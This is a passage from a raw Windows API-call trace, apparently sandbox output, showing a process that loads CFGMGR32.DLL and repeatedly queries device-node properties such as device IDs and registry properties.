pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0202.911] malloc (_Size=0x48) returned 0x196ef0fb720 [0202.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x59cc6384, dwHighDateTime=0x1d9eb0c)) [0202.912] SetEvent (hEvent=0x248) returned 1 [0202.915] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.915] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.916] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.917] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.917] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.917] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.917] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.917] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.917] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.918] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.918] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.918] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.918] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.117] malloc (_Size=0x18) returned 0x196ef0d1e00 [0203.117] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x1, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0203.117] malloc (_Size=0x48) returned 0x196ef0fba90 [0203.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x59eb62c5, dwHighDateTime=0x1d9eb0c)) [0203.117] SetEvent (hEvent=0x248) returned 1 [0203.123] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.123] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.126] malloc (_Size=0x18) returned 0x196ef0d1da0 [0203.126] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x1, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0203.126] malloc (_Size=0x48) returned 0x196ef0fba40 [0203.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x59edc2f4, dwHighDateTime=0x1d9eb0c)) [0203.126] SetEvent (hEvent=0x248) returned 1 [0203.129] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.129] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.131] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.131] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.131] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.131] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.131] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.131] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.131] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.132] malloc (_Size=0x18) returned 0x196ef0d1de0 [0203.133] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0203.133] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0203.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x59edc2f4, dwHighDateTime=0x1d9eb0c)) [0203.133] SetEvent (hEvent=0x248) returned 1 [0203.138] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.138] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.141] malloc (_Size=0x18) returned 0x196ef0d1b40 [0203.141] CM_Get_Device_IDA (in: dnDevInst=0x35, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\MMDEVAPI\\MICROSOFTGSWAVETABLESYNTH") returned 0x0 [0203.142] malloc (_Size=0x48) returned 0x196ef0fbea0 [0203.142] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x59f02711, dwHighDateTime=0x1d9eb0c)) [0203.142] SetEvent (hEvent=0x248) returned 1 [0203.144] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.145] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.148] malloc (_Size=0x18) returned 0x196ef0d1e20 [0203.148] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0203.148] malloc (_Size=0x48) returned 0x196ef0fb860 [0203.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x59f02711, dwHighDateTime=0x1d9eb0c)) [0203.148] SetEvent (hEvent=0x248) returned 1 [0203.150] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.151] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.151] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.151] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.151] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.151] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.151] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.151] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.152] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.152] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.152] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.152] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.152] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.152] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.152] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.154] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.154] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.154] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.154] malloc (_Size=0x18) returned 0x196ef0d1b40 [0203.154] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0203.154] malloc (_Size=0x38) returned 0x196ef0d0990 [0203.154] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d0990, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0990, pulLength=0x67117d608) returned 0x0 [0203.155] free (_Block=0x196ef0d0990) [0203.155] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0203.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x59f28a3c, dwHighDateTime=0x1d9eb0c)) [0203.155] SetEvent (hEvent=0x248) returned 1 [0203.157] malloc (_Size=0x18) returned 0x196ef0d1d20 [0203.158] SafeArrayPutElement (psa=0x196ee7bf0a0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0203.158] free (_Block=0x196ef0d1d20) [0203.158] malloc (_Size=0x18) returned 0x196ef0d1a20 [0203.158] SafeArrayPutElement (psa=0x196ee7bf0a0, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0203.158] free (_Block=0x196ef0d1a20) [0203.158] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855360 [0203.158] SafeArrayGetDim (psa=0x196ee7bf0a0) returned 0x1 [0203.158] SafeArrayGetLBound (in: psa=0x196ee7bf0a0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0203.158] SafeArrayGetUBound (in: psa=0x196ee7bf0a0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0203.158] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6290 [0203.158] SafeArrayGetDim (psa=0x196ee7bf0a0) returned 0x1 [0203.158] SafeArrayGetUBound (in: psa=0x196ee7bf0a0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0203.158] SafeArrayGetElemsize (psa=0x196ee7bf0a0) returned 0x8 [0203.159] SafeArrayGetElement (in: psa=0x196ee7bf0a0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0203.159] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e270, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0203.159] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e278, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0203.160] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6290) returned 1 [0203.160] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855360) returned 1 [0203.161] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.161] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.165] malloc (_Size=0x18) returned 0x196ef0d1f20 [0203.165] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0203.167] malloc (_Size=0x48) returned 0x196ef0fbc70 [0203.168] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x59f28a3c, dwHighDateTime=0x1d9eb0c)) [0203.168] SetEvent (hEvent=0x248) returned 1 [0203.404] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.404] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.407] GetProcAddress (hModule=0x7ffa786c0000, 